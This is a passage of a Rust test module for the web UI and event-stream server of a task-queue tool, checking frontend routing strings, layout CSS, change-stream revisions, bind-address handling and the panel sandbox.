21280 assert!(APP_JS.contains("verified HEAD"));
21281 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
21282 }
21283
21284 #[test]
21285 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
21286 assert!(APP_JS.contains("blocked: { glyph:"));
21290 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
21291
21292 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
21296 assert!(
21297 APP_JS.contains(
21298 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
21299 ),
21300 "the note line must name what a blocked task is waiting on, not just that it is blocked"
21301 );
21302 assert!(APP_JS.contains("if (status === \"blocked\") {"));
21306
21307 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
21311 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
21312 assert!(
21313 APP_JS.contains("location.hash = \"#/questions\";"),
21314 "a question node must jump to the Questions screen, not pretend to be a task"
21315 );
21316
21317 assert!(APP_JS.contains("Resolved questions"));
21320 assert!(APP_JS.contains("r.answersList.append("));
21321 assert!(APP_CSS.contains(".task-answers"));
21322 {
21323 let start = APP_JS
21324 .find("function updateTalkTaskRow")
21325 .expect("updateTalkTaskRow");
21326 let body = &APP_JS[start..];
21327 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
21328 assert!(
21329 body.contains(
21330 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
21331 ),
21332 "a chat-filed task row must link to the task page"
21333 );
21334 assert!(
21335 !body.contains("#/runs/") && !body.contains("#/queue/"),
21336 "the row must not branch to a run or the queue card"
21337 );
21338 assert!(APP_CSS.contains(".talk-task-link"));
21339 }
21340 }
21341
21342 #[test]
21343 fn a_task_notification_links_to_the_task_page() {
21344 let start = APP_JS
21346 .find("function noticeLink(")
21347 .expect("noticeLink exists");
21348 let body = &APP_JS[start..];
21349 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
21350 assert!(
21351 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
21352 "a task notice's link must target the task page"
21353 );
21354 assert!(
21355 !body.contains("#/queue/"),
21356 "regression: the task link must not go back to the Backlog route"
21357 );
21358 assert!(
21359 APP_JS.contains(
21360 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
21361 ),
21362 "`#/tasks/<id>` must parse into the task route"
21363 );
21364
21365 assert!(
21367 APP_JS.contains(
21368 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
21369 ),
21370 "`#/queue/<id>` must parse into a route carrying that id"
21371 );
21372
21373 assert!(APP_JS.contains("state.queueFocus = route.id;"));
21377 assert!(APP_JS.contains("function consumeQueueFocus()"));
21378 assert!(APP_JS.contains("jumpToTask(id)"));
21379 }
21380
21381 #[test]
21382 fn notifications_distinguish_actionable_questions_from_informational_notices() {
21383 let start = APP_JS
21384 .find("function noticeCoveredBy(")
21385 .expect("noticeCoveredBy exists");
21386 let body = &APP_JS[start..];
21387 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
21388
21389 assert!(body.contains("Associated question ${short}"));
21391 assert!(!body.contains("el(\"a\""));
21392
21393 assert!(body.contains("(resolved)"));
21395 assert!(body.contains("(closed)"));
21396
21397 let start = APP_JS
21398 .find("function renderNotifications()")
21399 .expect("renderNotifications exists");
21400 let body = &APP_JS[start..];
21401 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
21402
21403 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
21405 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
21406 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
21407 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
21408 }
21409
21410 #[test]
21413 fn chat_rows_put_the_title_alone_on_the_first_line() {
21414 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
21415 assert!(APP_CSS.contains(
21416 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
21417 ));
21418 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
21419 assert!(APP_JS.contains("class: \"badge talk-unread\""));
21420 }
21421
21422 #[test]
21423 fn run_rows_put_the_title_alone_on_the_first_line() {
21424 assert!(
21425 APP_CSS.contains(
21426 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
21427 )
21428 );
21429 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
21430 assert!(APP_JS.contains("class: \"card run-card\""));
21431 assert!(APP_JS.contains("class: \"repo run-id\""));
21432 }
21433
21434 #[test]
21438 fn wide_screens_show_list_and_preview_side_by_side() {
21439 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
21441 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
21442 assert!(APP_CSS.contains("main[data-split]"));
21443 assert!(APP_CSS.contains("body[data-split]"));
21444
21445 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
21447 assert!(
21448 APP_JS.contains(
21449 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
21450 )
21451 );
21452 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
21453 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
21454 assert!(INDEX_HTML.contains("id=\"split-empty\""));
21455
21456 assert!(APP_JS.contains("function markSelected() {"));
21458 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
21459 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
21460 assert!(
21462 APP_CSS.contains(
21463 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
21464 )
21465 );
21466
21467 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
21469 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
21470 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
21471 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
21472
21473 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
21477 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
21478 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
21479 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
21480
21481 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
21483 }
21484
21485 #[test]
21486 fn panel_sandbox_carries_exactly_popups() {
21487 let needle = "sandbox: \"";
21488 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
21489 assert_eq!(
21490 matches.len(),
21491 1,
21492 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
21493 );
21494 let start = matches[0].0 + needle.len();
21495 let end = APP_JS[start..]
21496 .find('"')
21497 .expect("sandbox attribute value must be terminated by a closing quote");
21498 let val = &APP_JS[start..start + end];
21499 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
21500 let expected: std::collections::BTreeSet<&str> =
21501 ["allow-popups", "allow-popups-to-escape-sandbox"]
21502 .into_iter()
21503 .collect();
21504 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
21505 assert!(
21506 !tokens.contains("allow-scripts"),
21507 "allow-scripts must never be present in sandbox"
21508 );
21509 assert!(
21510 !tokens.contains("allow-same-origin"),
21511 "allow-same-origin must never be present in sandbox"
21512 );
21513 }
21514
21515 #[test]
21516 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
21517 assert!(
21526 APP_JS.contains(
21527 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
21528 ),
21529 "the search-clearing branch must run before state.queueFocus is cleared, or the \
21530 recursive renderQueue() call has nothing left to jump to"
21531 );
21532 assert!(
21533 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
21534 "state.queueFocus must be cleared only once the jump has landed, so a card that \
21535 arrives later still gets it"
21536 );
21537 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
21538 assert!(APP_JS.contains("is not in the current Backlog."));
21539 assert!(APP_JS.contains("li.card[data-task-id=\""));
21540 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
21541 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
21542 assert!(APP_CSS.contains(".card-permalink"));
21543 assert!(APP_CSS.contains(".queue-focus-status"));
21544 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
21545 }
21546
21547 #[test]
21548 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
21549 assert!(
21557 APP_JS.contains(
21558 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
21559 ),
21560 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
21561 );
21562 }
21563
21564 #[test]
21565 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
21566 assert!(
21567 APP_JS.contains("round.verified_head !== round.head"),
21568 "a round that verified an earlier commit must be visibly distinct from one that \
21569 verified the head reviewers are looking at now"
21570 );
21571 assert!(
21572 APP_JS.contains("round.verified_at"),
21573 "when a check ran must be on the wire, not just which commit"
21574 );
21575 assert!(
21576 APP_JS.contains("resource_blocked"),
21577 "a command magi never got to run (shared build cache contention) must not render \
21578 the same as a command that ran and failed"
21579 );
21580 }
21581
21582 #[test]
21583 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
21584 assert!(
21592 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
21593 "every KPI tile built through statusTile() must route its click through \
21594 openRunsFiltered, the single place that sets the Runs filter"
21595 );
21596 for (label, status) in [
21597 ("Merged", "merged"),
21598 ("Ready", "ready"),
21599 ("Blocked", "blocked"),
21600 ("Stalled", "stalled"),
21601 ] {
21602 let call = format!("statusTile(\"{label}\", t.{status}, ");
21603 assert!(
21604 APP_JS.contains(&call),
21605 "expected the {label} KPI tile built via {call}..."
21606 );
21607 assert!(
21608 APP_JS.contains(&format!("status === \"{status}\"")),
21609 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
21610 compare a run against, not one invented only for the stats tile"
21611 );
21612 }
21613 assert!(
21614 APP_JS.contains("function openRunsFiltered(status)"),
21615 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
21616 );
21617 assert!(
21618 APP_JS.contains(
21619 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
21620 ),
21621 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
21622 );
21623 assert!(
21631 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
21632 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
21633 hashchange event that may never fire"
21634 );
21635 }
21636
21637 #[test]
21638 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
21639 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
21645 assert!(
21646 APP_JS.contains(
21647 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
21648 ),
21649 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
21650 guard for an incompatible tree section"
21651 );
21652 }
21653
21654 #[test]
21655 fn every_stats_queue_tile_names_a_real_queue_section() {
21656 assert!(
21662 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
21663 "every queue tile built through sectionTile() must route its click through \
21664 openQueueSectionFocus"
21665 );
21666 for key in ["upnext", "running", "done", "held", "blocked"] {
21667 assert!(
21668 APP_JS.contains(&format!("{{ key: \"{key}\",")),
21669 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
21670 );
21671 }
21672 for line in [
21676 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
21677 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
21678 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
21679 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
21680 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
21681 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
21682 ] {
21683 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
21684 }
21685 }
21686
21687 #[test]
21688 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
21689 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
21696 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
21697 assert!(APP_JS.contains("function revealQueueSection(details)"));
21698 assert!(
21699 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
21700 "renderQueue() must consume both focus channels on every pass"
21701 );
21702 assert!(
21703 APP_JS.contains(
21704 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
21705 ),
21706 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
21707 the recursive renderQueue() call has nothing left to reveal"
21708 );
21709 assert!(
21710 APP_JS.contains(
21711 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
21712 ),
21713 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
21714 );
21715 assert!(
21723 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
21724 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
21725 hashchange event that may never fire"
21726 );
21727 }
21728
21729 #[tokio::test]
21730 async fn the_change_stream_announces_the_current_revisions_on_connect() {
21731 let f = Fixture::start().await;
21732
21733 let mut socket = tokio::net::TcpStream::connect(f.addr)
21734 .await
21735 .expect("connect");
21736 socket
21737 .write_all(
21738 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
21739 )
21740 .await
21741 .expect("write request");
21742
21743 let mut seen = String::new();
21746 let mut buf = [0u8; 1024];
21747 while !seen.contains("event: change") {
21748 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
21749 .await
21750 .expect("the stream must speak within five seconds")
21751 .expect("read");
21752 assert!(read > 0, "the server closed the change stream: {seen}");
21753 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
21754 }
21755
21756 assert!(
21757 seen.to_lowercase()
21758 .contains("content-type: text/event-stream"),
21759 "the browser only reconnects automatically for a real SSE stream: {seen}"
21760 );
21761 let data = seen
21762 .lines()
21763 .find_map(|l| l.strip_prefix("data:"))
21764 .expect("a data line");
21765 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
21766 assert!(
21767 payload["queue_rev"].is_u64()
21768 && payload["runs_rev"].is_u64()
21769 && payload["questions_rev"].is_u64()
21770 && payload["talks_rev"].is_u64()
21771 && payload["notifications_rev"].is_u64()
21772 && payload["loop_rev"].is_u64(),
21773 "the client needs one revision per store to know what to refetch, \
21774 and `talks_rev` is the only notification a standing talk gets - a \
21775 phone whose radio slept through a turn learns about it here, as \
21776 does one whose operator started the loop from another device: \
21777 {payload}"
21778 );
21779
21780 let health = f.get("/api/health").await.json();
21787 for key in [
21788 "queue_rev",
21789 "runs_rev",
21790 "questions_rev",
21791 "talks_rev",
21792 "notifications_rev",
21793 "loop_rev",
21794 ] {
21795 assert!(
21796 health[key].is_u64(),
21797 "health is the change stream's fallback and is missing `{key}`: {health}"
21798 );
21799 }
21800 }
21801
21802 #[tokio::test]
21803 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
21804 let f = Fixture::start().await;
21805 let before = f.get("/api/health").await.json()["talks_rev"]
21806 .as_u64()
21807 .expect("talks_rev");
21808
21809 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
21810 std::thread::sleep(Duration::from_millis(10));
21811 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
21812 on_disk.turns.push(crate::talk::Turn {
21813 sender: None,
21814 breaks: Some(Vec::new()),
21815 messages: Vec::new(),
21816 posted_by: None,
21817 who: crate::talk::Who::Operator,
21818 body: "a new turn".to_owned(),
21819 at: Timestamp::now(),
21820 attachments: Vec::new(),
21821 usage: None,
21822 });
21823 f.talks().put(&mut on_disk).expect("record a turn");
21824
21825 let after = tokio::time::timeout(Duration::from_secs(5), async {
21826 loop {
21827 let revision = f.get("/api/health").await.json()["talks_rev"]
21828 .as_u64()
21829 .unwrap();
21830 if revision != before {
21831 break revision;
21832 }
21833 tokio::time::sleep(Duration::from_millis(50)).await;
21834 }
21835 })
21836 .await
21837 .expect("shared monitor observes external turn");
21838 assert_ne!(
21839 before, after,
21840 "a phone must be able to notice a talk's reply without polling every store"
21841 );
21842 }
21843
21844 #[test]
21845 fn bind_reads_back_from_the_spelling_the_cli_prints() {
21846 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
21850 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
21851 }
21852 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
21853 assert!("everywhere".parse::<Bind>().is_err());
21854 }
21855
21856 #[test]
21857 fn an_explicit_bind_address_is_taken_verbatim() {
21858 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
21859
21860 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
21861
21862 assert_eq!(addr, asked);
21863 assert!(
21864 warning.is_none(),
21865 "an operator who named an address gets no lecture"
21866 );
21867 }
21868
21869 #[test]
21870 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
21871 let (addr, warning) = resolve_bind(&Bind::Auto);
21872
21873 match addr {
21880 IpAddr::V4(ip) if is_tailnet(&ip) => {
21881 assert!(warning.is_none(), "a tailnet address needs no warning");
21882 }
21883 other => {
21884 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
21885 let warning = warning.expect("a fallback has to explain itself");
21886 assert!(
21887 warning.contains("127.0.0.1") && warning.contains("local-only"),
21888 "the warning says what happened and what it costs: {warning}"
21889 );
21890 }
21891 }
21892 }
21893
21894 #[test]
21895 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
21896 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
21900 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
21901 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
21902 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
21903 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
21904 }
21905
21906 #[test]
21907 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
21908 let ids = vec![
21909 "20260902-140501-aaaa".to_owned(),
21910 "20260902-140502-aabb".to_owned(),
21911 ];
21912
21913 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
21914 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
21915 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
21916
21917 assert_eq!(missing.status, StatusCode::NOT_FOUND);
21918 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
21919 assert_eq!(short, "20260902-140502-aabb");
21920 }
21921 #[tokio::test]
21922 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
21923 let fx = Fixture::start().await;
21929 let id = panel(
21930 &fx,
21931 "<img src=\"shot.png\">",
21932 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
21933 );
21934
21935 let doc = fx
21937 .get(&format!("/api/questions/{id}/panel/index.html"))
21938 .await;
21939 assert_eq!(doc.status, 200, "{}", doc.body);
21940 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
21941
21942 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
21943 assert_eq!(sibling.status, 200, "{}", sibling.body);
21944 assert_eq!(sibling.header("content-type"), Some("image/png"));
21945 assert_eq!(
21946 sibling.header("content-security-policy"),
21947 Some(PANEL_CSP),
21948 "the sibling route must carry the same policy as the asset route"
21949 );
21950
21951 assert_eq!(
21954 fx.head(&format!("/api/questions/{id}/panel")).await.status,
21955 200
21956 );
21957 }
21958
21959 #[test]
21960 fn delta_stamps_cover_add_update_remove_and_noop() {
21961 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
21962 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
21963 let delta = diff_stamps(&before, &after, 42);
21964 assert_eq!(delta.base, 42);
21965 assert_eq!(delta.changed, ["b", "c"]);
21966 assert_eq!(delta.removed, ["a"]);
21967 let same = diff_stamps(&after, &after, 43);
21968 assert!(same.changed.is_empty() && same.removed.is_empty());
21969 assert_ne!(stamps_revision(&before), stamps_revision(&after));
21970 let nanos: Stamps = [("b".into(), (2, 20))].into();
21971 let same_ms: Stamps = [("b".into(), (3, 20))].into();
21972 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
21973 assert_eq!(stamps_revision(&Stamps::new()), 0);
21974 }
21975
21976 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
21977 std::fs::create_dir_all(home.join("runs")).unwrap();
21978 Arc::new(
21979 Ui::new(
21980 Queue::at(home.join("queue")),
21981 Questions::at(home.join("questions")),
21982 Talks::at(home.join("talks")),
21983 home.join("runs"),
21984 home.to_owned(),
21985 PathBuf::from("/repo/magi"),
21986 )
21987 .with_worktrees_root(home.join("wt")),
21988 )
21989 }
21990
21991 #[test]
21992 fn monitor_scan_isolates_store_failures_and_recovers() {
21993 let home = TempDir::new().unwrap();
21994 let ui = delta_test_ui(home.path());
21995 std::fs::create_dir_all(ui.questions.root()).unwrap();
21996 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
21997 let before = monitor_scan(&ui, None);
21998 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
21999 std::fs::write(ui.questions.root(), "not a directory").unwrap();
22000 std::fs::create_dir_all(ui.talks.root()).unwrap();
22001 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
22002 let during = monitor_scan(&ui, Some(before.clone()));
22003 assert_eq!(during.0.2, before.0.2);
22004 assert_ne!(during.0.3, before.0.3);
22005 assert!(during.1[2].contains_key("new"));
22006 std::fs::remove_file(ui.questions.root()).unwrap();
22007 let after = monitor_scan(&ui, Some(during));
22008 assert_eq!(after.0.2, 0);
22009 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
22010 std::fs::write(ui.questions.root(), "not a directory").unwrap();
22012 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
22013 }
22014
22015 #[tokio::test]
22016 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
22017 let home = TempDir::new().unwrap();
22018 let ui = delta_test_ui(home.path());
22019 let mut task = Task::new(
22020 "stream task".into(),
22021 "text".into(),
22022 PathBuf::from("/repo"),
22023 Source::Human,
22024 );
22025 ui.queue.put(&mut task).unwrap();
22026 let response = events(State(ui.clone())).await.into_response();
22027 let mut stream = response.into_body().into_data_stream();
22028 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
22029 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
22030 .await
22031 .unwrap()
22032 .unwrap()
22033 .unwrap();
22034 let text = String::from_utf8(chunk.to_vec()).unwrap();
22035 let data = text
22036 .lines()
22037 .find_map(|line| {
22038 line.strip_prefix("data: ")
22039 .or_else(|| line.strip_prefix("data:"))
22040 })
22041 .unwrap();
22042 serde_json::from_str(data).unwrap()
22043 }
22044 let initial = change(&mut stream).await;
22045 assert!(initial.get("queue_delta").is_none());
22046 task.instruction.push_str(" changed");
22047 ui.queue.put(&mut task).unwrap();
22048 let updated = change(&mut stream).await;
22049 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
22050 assert_eq!(
22051 updated["queue_delta"]["changed"],
22052 serde_json::json!([task.id])
22053 );
22054 assert_eq!(
22055 updated["queue_rev"].as_u64(),
22056 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
22057 );
22058 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
22059 let removed = change(&mut stream).await;
22060 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
22061 assert_eq!(
22062 removed["queue_delta"]["removed"],
22063 serde_json::json!([task.id])
22064 );
22065 }
22066
22067 #[tokio::test]
22068 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
22069 let home = TempDir::new().unwrap();
22070 let ui = delta_test_ui(home.path());
22071 let queue = ui.queue.clone();
22072 let query = |ids: Option<&str>| {
22073 Query(ListQuery {
22074 limit: Some(2),
22075 ids: ids.map(str::to_owned),
22076 })
22077 };
22078 let mut root = Task::new(
22079 "root".into(),
22080 "instruction".into(),
22081 PathBuf::from("/repo"),
22082 Source::Human,
22083 );
22084 queue.put(&mut root).unwrap();
22085 let mut blocked = Task::new(
22086 "blocked".into(),
22087 "instruction".into(),
22088 PathBuf::from("/repo"),
22089 Source::Human,
22090 );
22091 blocked.block(vec![root.id.clone()], None);
22092 queue.put(&mut blocked).unwrap();
22093 let whole =
22094 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
22095 .unwrap();
22096 let subset = serde_json::to_value(
22097 queue_list(State(ui.clone()), query(Some(&root.id)))
22098 .await
22099 .unwrap()
22100 .0,
22101 )
22102 .unwrap();
22103 assert_eq!(whole, subset, "requested root plus its blocked dependent");
22104 let blockers = serde_json::to_value(
22105 queue_list(State(ui.clone()), query(Some("")))
22106 .await
22107 .unwrap()
22108 .0,
22109 )
22110 .unwrap();
22111 assert_eq!(blockers.as_array().unwrap().len(), 1);
22112 assert_eq!(blockers[0]["id"], blocked.id);
22113 assert_eq!(
22114 blockers[0]["waits_on"],
22115 whole
22116 .as_array()
22117 .unwrap()
22118 .iter()
22119 .find(|row| row["id"] == blocked.id)
22120 .unwrap()["waits_on"]
22121 );
22122
22123 for id in [
22124 "20260902-140501-aaaa",
22125 "20260902-140502-bbbb",
22126 "20260902-140503-cccc",
22127 ] {
22128 write_run(&ui.runs, id, RunStatus::Merged);
22129 }
22130 let old = serde_json::to_value(
22131 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
22132 .await
22133 .unwrap()
22134 .0,
22135 )
22136 .unwrap();
22137 assert!(
22138 old.as_array().unwrap().is_empty(),
22139 "older updates must not enter the window"
22140 );
22141 let newest = serde_json::to_value(
22142 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
22143 .await
22144 .unwrap()
22145 .0,
22146 )
22147 .unwrap();
22148 assert_eq!(newest.as_array().unwrap().len(), 1);
22149 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
22150
22151 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
22152 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
22153 let talks = serde_json::to_value(
22154 talks_list(
22155 State(ui.clone()),
22156 query(Some("20260905-000000-d4e5")),
22157 header::HeaderMap::new(),
22158 )
22159 .await
22160 .unwrap()
22161 .0,
22162 )
22163 .unwrap();
22164 assert_eq!(talks.as_array().unwrap().len(), 1);
22165 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
22166 assert_eq!(
22167 serde_json::to_value(
22168 talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
22169 .await
22170 .unwrap()
22171 .0
22172 )
22173 .unwrap(),
22174 serde_json::json!([])
22175 );
22176 }
22177
22178 #[tokio::test]
22179 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
22180 async fn delta_payload_benchmark() {
22181 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
22182 let ui = delta_test_ui(&home);
22183 let query = |ids: Option<String>| {
22184 Query(ListQuery {
22185 limit: Some(50),
22186 ids,
22187 })
22188 };
22189 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
22190 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
22191 let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
22192 .await
22193 .unwrap()
22194 .0;
22195 let queue_id = queue
22196 .iter()
22197 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
22198 .unwrap_or(&queue[0])
22199 .task
22200 .id
22201 .clone();
22202 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
22203 .await
22204 .unwrap()
22205 .0;
22206 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
22207 .await
22208 .unwrap()
22209 .0;
22210 let talks_delta = talks_list(
22211 State(ui.clone()),
22212 query(Some(talks[0].id.clone())),
22213 header::HeaderMap::new(),
22214 )
22215 .await
22216 .unwrap()
22217 .0;
22218 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
22219 eprintln!(
22220 "DELTA_PAYLOAD {}",
22221 serde_json::json!({
22222 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
22223 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
22224 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
22225 "counts": [queue.len(), runs.len(), talks.len()],
22226 "blocked": queue_delta.len() - 1,
22227 })
22228 );
22229 }
22230
22231 #[test]
